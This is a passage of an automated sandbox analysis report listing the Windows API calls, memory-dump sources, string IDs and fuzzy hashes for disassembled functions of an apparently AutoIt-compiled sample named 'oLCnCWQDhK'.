                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: __swprintf_wcscpy$__i64tow__itow
                              • String ID: %.15g$0x%p$False$True
                              • API String ID: 3038501623-2263619337
                              • Opcode ID: dbd07ee36d68efbdb82b47f6bbdb5a558a403895529f1bd62c5843a789ef215e
                              • Instruction ID: fd507a47f7d2c8f7f5848ea17d112ce969af4838d766d220e6d3988dad71e25c
                              • Opcode Fuzzy Hash: dbd07ee36d68efbdb82b47f6bbdb5a558a403895529f1bd62c5843a789ef215e
                              • Instruction Fuzzy Hash: 264108729001005BDB10EF75DC42FAAB364EF55306F0445ABFE09CB242EA39DA48C79A
                              Function 0045E538 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 154COMMON
                              Download Yara Rule
                              APIs
                              • LoadStringW.USER32(?,00000066,?,00000FFF), ref: 0045E580
                                • Part of subcall function 00401B10: _wcslen.LIBCMT ref: 00401B11
                                • Part of subcall function 00401B10: _memmove.LIBCMT ref: 00401B57
                              • LoadStringW.USER32(?,00000072,?,00000FFF), ref: 0045E59F
                              • __swprintf.LIBCMT ref: 0045E5F6
                              • _wprintf.LIBCMT ref: 0045E6A3
                              • _wprintf.LIBCMT ref: 0045E6C7
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: LoadString_wprintf$__swprintf_memmove_wcslen
                              • String ID: Error: $%s (%d) : ==> %s:$%s (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
                              • API String ID: 2295938435-8599901
                              • Opcode ID: c66a723599ffab058b3f3cea1f0729b04811ebb293e3d225dd53f192e4035716
                              • Instruction ID: ff3e2b23dced8a629e5b21f12e79e468b5cd48208a3d74017576322ff0354a8f
                              • Opcode Fuzzy Hash: c66a723599ffab058b3f3cea1f0729b04811ebb293e3d225dd53f192e4035716
                              • Instruction Fuzzy Hash: 9A519171D00109ABDB14EBA1C845EEF7778EF44304F50847EF91477292EA78AE49CBA8
                              Function 00443B61 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 99sleepwindowtimeCOMMON
                              Download Yara Rule
                              APIs
                              • timeGetTime.WINMM ref: 00443B67
                                • Part of subcall function 0040C620: timeGetTime.WINMM(0042DD5D), ref: 0040C620
                              • Sleep.KERNEL32(0000000A), ref: 00443B9F
                              • FindWindowExW.USER32(?,00000000,BUTTON,00000000), ref: 00443BC8
                              • SetActiveWindow.USER32(?), ref: 00443BEC
                              • SendMessageW.USER32(00000000,000000F5,00000000,00000000), ref: 00443BFC
                              • SendMessageW.USER32(?,00000010,00000000,00000000), ref: 00443C22
                              • Sleep.KERNEL32(000000FA), ref: 00443C2D
                              • IsWindow.USER32(?), ref: 00443C3A
                              • EndDialog.USER32(?,00000000), ref: 00443C4C
                                • Part of subcall function 004439C1: GetWindowThreadProcessId.USER32(?,00000000), ref: 004439E4
                                • Part of subcall function 004439C1: GetCurrentThreadId.KERNEL32 ref: 004439EB
                                • Part of subcall function 004439C1: AttachThreadInput.USER32(00000000), ref: 004439F2
                              • 74285940.USER32(00000000,Function_00033D09,00000000), ref: 00443C6B
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: Window$Thread$MessageSendSleepTimetime$74285940ActiveAttachCurrentDialogFindInputProcess
                              • String ID: BUTTON
                              • API String ID: 1394735852-3405671355
                              • Opcode ID: 0b90b562b2b8ddd8d32d3d53e67965f547c0866e24595f66544518a968b379f6
                              • Instruction ID: 3c6370bb7d17ad47abda0b7088cfd3672c19e1ca6c3f529de1b12449ce3ad6f8
                              • Opcode Fuzzy Hash: 0b90b562b2b8ddd8d32d3d53e67965f547c0866e24595f66544518a968b379f6
                              • Instruction Fuzzy Hash: 6B31E676784200BFE3349F74FD99F5A3B58AB55B22F10083AF600EA2A1D6B5A441876C
                              Function 00454014 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 93windowCOMMON
                              Download Yara Rule
                              APIs
                              • GetModuleHandleW.KERNEL32(00000000,?,?,00000FFF,?,?,?,?,0042820D,?,?,?,#include depth exceeded. Make sure there are no recursive includes,?), ref: 00454039
                              • LoadStringW.USER32(00000000), ref: 00454040
                                • Part of subcall function 00401B10: _wcslen.LIBCMT ref: 00401B11
                                • Part of subcall function 00401B10: _memmove.LIBCMT ref: 00401B57
                              • _wprintf.LIBCMT ref: 00454074
                              • __swprintf.LIBCMT ref: 004540A3
                              • MessageBoxW.USER32(00000000,?,?,00011010), ref: 0045410F
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: HandleLoadMessageModuleString__swprintf_memmove_wcslen_wprintf
                              • String ID: Error: $%s (%d) : ==> %s.: %s %s$.$Line %d (File "%s"):$Line %d:
                              • API String ID: 455036304-4153970271
                              • Opcode ID: 0cc89bd23a2e2e53ac7bb2b5ed0e913a3f1e972501752cb0da19f3bd95e8304c
                              • Instruction ID: e2f14448b15a7dab571624068eda089460c560eca1c8ebe4dd0daaccfe0aa2c5
                              • Opcode Fuzzy Hash: 0cc89bd23a2e2e53ac7bb2b5ed0e913a3f1e972501752cb0da19f3bd95e8304c
                              • Instruction Fuzzy Hash: 3B31E872B0011997CB00EF95CD069AE3378AF88714F50445EFA0877282D678AE45C7A9
                              Function 00467C8E Relevance: 18.3, APIs: 12, Instructions: 310COMMON
                              Download Yara Rule
                              APIs
                              • SafeArrayAccessData.OLEAUT32(0000007F,?), ref: 00467D63
                              • SafeArrayAccessData.OLEAUT32(0000007F,0000007F), ref: 00467DDC
                              • SafeArrayGetVartype.OLEAUT32(0000007F,?), ref: 00467E71
                              • SafeArrayAccessData.OLEAUT32(00000000,?), ref: 00467E9D
                              • _memmove.LIBCMT ref: 00467EB8
                              • SafeArrayUnaccessData.OLEAUT32(00000000), ref: 00467EC1
                              • SafeArrayAccessData.OLEAUT32(0000007F,?), ref: 00467EDE
                              • _memmove.LIBCMT ref: 00467F6C
                              • SafeArrayAccessData.OLEAUT32(0000007F,?), ref: 00467FC1
                              • SafeArrayUnaccessData.OLEAUT32(00000004), ref: 00467FAB
                                • Part of subcall function 004115D7: std::exception::exception.LIBCMT ref: 00411626
                                • Part of subcall function 004115D7: std::exception::exception.LIBCMT ref: 00411640
                                • Part of subcall function 004115D7: __CxxThrowException@8.LIBCMT ref: 00411651
                              • SafeArrayUnaccessData.OLEAUT32(00479A50), ref: 00467E48
                                • Part of subcall function 004115D7: _malloc.LIBCMT ref: 004115F1
                              • SafeArrayUnaccessData.OLEAUT32(00479A50), ref: 00468030
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: ArraySafe$Data$Access$Unaccess$_memmovestd::exception::exception$Exception@8ThrowVartype_malloc
                              • String ID:
                              • API String ID: 2170234536-0
                              • Opcode ID: aa00afaeb95d016149156b33273ce501c4b0800cd775f7336c4c4d99d01e60ec
                              • Instruction ID: 6369f5c3f22445f0d5bf5c4520e4337682cbd46778e63a39b460943b9460954a
                              • Opcode Fuzzy Hash: aa00afaeb95d016149156b33273ce501c4b0800cd775f7336c4c4d99d01e60ec
                              • Instruction Fuzzy Hash: 26B124716042059FD700CF59D884BAEB7B5FF88308F24856EEA05DB351EB3AD845CB6A
                              Function 00453C57 Relevance: 18.2, APIs: 12, Instructions: 190keyboardCOMMON
                              Download Yara Rule
                              APIs
                              • GetKeyboardState.USER32(?), ref: 00453CE0
                              • SetKeyboardState.USER32(?), ref: 00453D3B
                              • GetAsyncKeyState.USER32(000000A0), ref: 00453D5E
                              • GetKeyState.USER32(000000A0), ref: 00453D75
                              • GetAsyncKeyState.USER32(000000A1), ref: 00453DA4
                              • GetKeyState.USER32(000000A1), ref: 00453DB5
                              • GetAsyncKeyState.USER32(00000011), ref: 00453DE1
                              • GetKeyState.USER32(00000011), ref: 00453DEF
                              • GetAsyncKeyState.USER32(00000012), ref: 00453E18
                              • GetKeyState.USER32(00000012), ref: 00453E26
                              • GetAsyncKeyState.USER32(0000005B), ref: 00453E4F
                              • GetKeyState.USER32(0000005B), ref: 00453E5D
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: State$Async$Keyboard
                              • String ID:
                              • API String ID: 541375521-0
                              • Opcode ID: a3f88cab2abdfc68c44a637c7b6f2bd83c4aa3bfdff3a706604d8f1b20d6ef18
                              • Instruction ID: 009fbf1908f75ed0a62addf5985db529f64a747a45b1090b1102dc3b9208550d
                              • Opcode Fuzzy Hash: a3f88cab2abdfc68c44a637c7b6f2bd83c4aa3bfdff3a706604d8f1b20d6ef18
                              • Instruction Fuzzy Hash: BC61DD3190478829FB329F6488057EBBBF45F12346F08459ED9C2162C3D7AC6B4CCB65
                              Function 004357B7 Relevance: 18.2, APIs: 12, Instructions: 184COMMON
                              Download Yara Rule
                              APIs
                              • GetDlgItem.USER32(?,00000001), ref: 004357DB
                              • GetWindowRect.USER32(00000000,?), ref: 004357ED
                              • MoveWindow.USER32(?,0000000A,?,?,?,00000000), ref: 00435857
                              • GetDlgItem.USER32(?,00000002), ref: 0043586A
                              • GetWindowRect.USER32(00000000,?), ref: 0043587C
                              • MoveWindow.USER32(?,?,00000000,?,00000001,00000000), ref: 004358CE
                              • GetDlgItem.USER32(?,000003E9), ref: 004358DC
                              • GetWindowRect.USER32(00000000,?), ref: 004358EE
                              • MoveWindow.USER32(?,0000000A,00000000,?,?,00000000), ref: 00435933
                              • GetDlgItem.USER32(?,000003EA), ref: 00435941
                              • MoveWindow.USER32(00000000,0000000A,0000000A,?,-000000FB,00000000), ref: 0043595A
                              • InvalidateRect.USER32(?,00000000,00000001), ref: 00435967
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: Window$ItemMoveRect$Invalidate
                              • String ID:
                              • API String ID: 3096461208-0
                              • Opcode ID: 5d52927da84fb547f57ff0a94c85d4d7e4cc3ec4f802ea2f498aab0433028225
                              • Instruction ID: 6af1b44a8b8b1dd3dfd8c00d901dfbe31295268d39f582813a56aed3f3dd18d2
                              • Opcode Fuzzy Hash: 5d52927da84fb547f57ff0a94c85d4d7e4cc3ec4f802ea2f498aab0433028225
                              • Instruction Fuzzy Hash: 7C515FB1B00609ABCB18DF68CD95AAEB7B9EF88310F148529F905E7390E774ED008B54
                              Function 004714D9 Relevance: 18.1, APIs: 12, Instructions: 132windowCOMMON
                              Download Yara Rule
                              APIs
                              • 742845F0.USER32(?,000000F0), ref: 004714DC
                              • LoadImageW.USER32(00000000,?,00000000,00000000,00000000,00002010), ref: 004714F7
                              • SendMessageW.USER32(?,000000F7,00000000,00000000), ref: 00471510
                              • DeleteObject.GDI32(?), ref: 0047151E
                              • DestroyCursor.USER32(?), ref: 0047152C
                              • LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00002010), ref: 0047156F
                              • SendMessageW.USER32(?,000000F7,00000001,00000000), ref: 00471588
                              • ExtractIconExW.SHELL32(?,?,?,?,00000001), ref: 004715A9
                              • DestroyCursor.USER32(?), ref: 004715CD
                              • SendMessageW.USER32(?,000000F7,00000001,?), ref: 004715DC
                              • DeleteObject.GDI32(?), ref: 004715EA
                              • DestroyCursor.USER32(?), ref: 004715F8
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: CursorDestroyMessageSend$DeleteImageLoadObject$742845ExtractIcon
                              • String ID:
                              • API String ID: 614556818-0
                              • Opcode ID: 09c61f0bb0da2772a57e209ce6a73de2c43359248684d71e73f4e5cafd481585
                              • Instruction ID: 6a50b90733f0312424b7b906018c15bc054940e4c1588362709ca6bab20dc4d5
                              • Opcode Fuzzy Hash: 09c61f0bb0da2772a57e209ce6a73de2c43359248684d71e73f4e5cafd481585
                              • Instruction Fuzzy Hash: D2419231740206ABDB209F69DD49FEB77A8EB84711F10452AFA46E72D0DBB4E805C768
                              Function 00433784 Relevance: 18.1, APIs: 12, Instructions: 119COMMON
                              Download Yara Rule
                              APIs
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: _wcscat_wcscpy$__wsplitpath$_wcschr
                              • String ID:
                              • API String ID: 136442275-0
                              • Opcode ID: 6cac6aaee55c93d52b89e688f8fbcd2468be5ec8bb4ca81dd5968faf06821e55
                              • Instruction ID: 55d98b2249b58b9b89d53d2d63704957c70a659fb5fc0040d5683289e7d9fa4f
                              • Opcode Fuzzy Hash: 6cac6aaee55c93d52b89e688f8fbcd2468be5ec8bb4ca81dd5968faf06821e55
                              • Instruction Fuzzy Hash: C24174B381021C66CB24EB55CC41DEE737DAB98705F0085DEB60963141EA796BC8CFA5
                              Function 00467408 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 308COMMON
                              Download Yara Rule
                              APIs
                              • _wcsncpy.LIBCMT ref: 00467490
                              • _wcsncpy.LIBCMT ref: 004674BC
                                • Part of subcall function 00410160: _wcslen.LIBCMT ref: 00410162
                                • Part of subcall function 00410160: _wcscpy.LIBCMT ref: 00410182
                              • _wcstok.LIBCMT ref: 004674FF
                                • Part of subcall function 00413EB8: __getptd.LIBCMT ref: 00413EBE
                              • _wcstok.LIBCMT ref: 004675B2
                              • 758ED0D0.COMDLG32(00000058), ref: 00467774
                              • _wcslen.LIBCMT ref: 00467793
                              • _wcscpy.LIBCMT ref: 00467641
                                • Part of subcall function 00402160: _wcslen.LIBCMT ref: 0040216D
                                • Part of subcall function 00402160: _memmove.LIBCMT ref: 00402193
                              • _wcslen.LIBCMT ref: 004677BD
                              • 758ED1A0.COMDLG32(00000058), ref: 00467807
                                • Part of subcall function 00461465: _memmove.LIBCMT ref: 004614F8
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: _wcslen$_memmove_wcscpy_wcsncpy_wcstok$__getptd
                              • String ID: X
                              • API String ID: 1962976255-3081909835
                              • Opcode ID: bae8ec41c075a4f6a2b7e9f416d910fa80a531229cf5203f8bd385032f306646
                              • Instruction ID: 683e1e2944aeccc99b179fad4e52216d38d827d7da526ed866e93360804c4864
                              • Opcode Fuzzy Hash: bae8ec41c075a4f6a2b7e9f416d910fa80a531229cf5203f8bd385032f306646
                              • Instruction Fuzzy Hash: 69C1C5306083009BD310FF65C985A5FB7E4AF84318F108D2EF559972A2EB78ED45CB9A
                              Function 0046CB5F Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 304comCOMMON
                              Download Yara Rule
                              APIs
                              • OleInitialize.OLE32(00000000), ref: 0046CBC7
                              • CLSIDFromProgID.OLE32(?,?), ref: 0046CBDF
                              • CLSIDFromString.OLE32(?,?), ref: 0046CBF1
                              • CoCreateInstance.OLE32(?,?,00000005,00482998,?), ref: 0046CC56
                              • CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000), ref: 0046CCCA
                              • _wcslen.LIBCMT ref: 0046CDB0
                              • CoCreateInstanceEx.OLE32(?,00000000,00000015,?,00000001,?), ref: 0046CE33
                              • CoTaskMemFree.OLE32(?), ref: 0046CE42
                              • CoSetProxyBlanket.OLE32(?,?,?,?,?,?,?,00000800), ref: 0046CE85
                                • Part of subcall function 00468070: VariantInit.OLEAUT32(00000000), ref: 004680B0
                                • Part of subcall function 00468070: VariantCopy.OLEAUT32(00000000,00479A50), ref: 004680BA
                                • Part of subcall function 00468070: VariantClear.OLEAUT32 ref: 004680C7
                              Strings
                              • NULL Pointer assignment, xrefs: 0046CEA6
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: Variant$CreateFromInitializeInstance$BlanketClearCopyFreeInitProgProxySecurityStringTask_wcslen
                              • String ID: NULL Pointer assignment
                              • API String ID: 440038798-2785691316
                              • Opcode ID: 58df38d68bb8b0de8b452a242e06650ce93d7fbbb76e65ad7c2ec0be56c62684
                              • Instruction ID: 7aab634462a7dbcbf958abac95e41bd58996b502d0213671d322085b5631b432
                              • Opcode Fuzzy Hash: 58df38d68bb8b0de8b452a242e06650ce93d7fbbb76e65ad7c2ec0be56c62684
                              • Instruction Fuzzy Hash: 74B13FB1D00229AFDB10DFA5CC85FEEB7B8EF48700F10855AF909A7281EB745A45CB95
                              Function 00461014 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 255COMMON
                              Download Yara Rule
                              APIs
                              • GetClassNameW.USER32(?,?,00000400), ref: 00461056
                              • GetWindowTextW.USER32(?,?,00000400), ref: 00461092
                              • _wcslen.LIBCMT ref: 004610A3
                              • CharUpperBuffW.USER32(?,00000000), ref: 004610B1
                              • GetClassNameW.USER32(?,?,00000400), ref: 00461124
                              • GetWindowTextW.USER32(?,?,00000400), ref: 0046115D
                              • GetClassNameW.USER32(?,?,00000400), ref: 004611A1
                              • GetClassNameW.USER32(?,?,00000400), ref: 004611D9
                              • GetWindowRect.USER32(?,?), ref: 00461248
                                • Part of subcall function 00436299: _memmove.LIBCMT ref: 004362D9
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: ClassName$Window$Text$BuffCharRectUpper_memmove_wcslen
                              • String ID: ThumbnailClass
                              • API String ID: 4136854206-1241985126
                              • Opcode ID: d083942efa6e299b81e87f64ddc190b4296276633e8192dbc1e7cc466e4535cb
                              • Instruction ID: 9bdbaadfe46dce382da1609a4111f175dadd43cf518d3c7fb815d390e9d71813
                              • Opcode Fuzzy Hash: d083942efa6e299b81e87f64ddc190b4296276633e8192dbc1e7cc466e4535cb
                              • Instruction Fuzzy Hash: D991F3715043009FCB14DF51C881BAB77A8EF89719F08895FFD84A6252E738E946CBA7
                              Function 004718BA Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 147windowCOMMON
                              Download Yara Rule
                              APIs
                              • ExtractIconExW.SHELL32(?,?,00000000,?,00000001), ref: 004718C7
                              • 6FD82980.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00471922
                              • SendMessageW.USER32(?,00001109,00000000,00000000), ref: 00471947
                              • 6FD7C400.COMCTL32(?,000000FF,?), ref: 00471960
                              • SendMessageW.USER32(?,0000113E,00000000,?), ref: 004719E0
                              • SendMessageW.USER32(?,0000113F,00000000,00000032), ref: 00471A0D
                              • GetClientRect.USER32(?,?), ref: 00471A1A
                              • 74285EE0.USER32(?,?,00000000,00000000), ref: 00471A29
                              • DestroyCursor.USER32(?), ref: 00471AF4
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
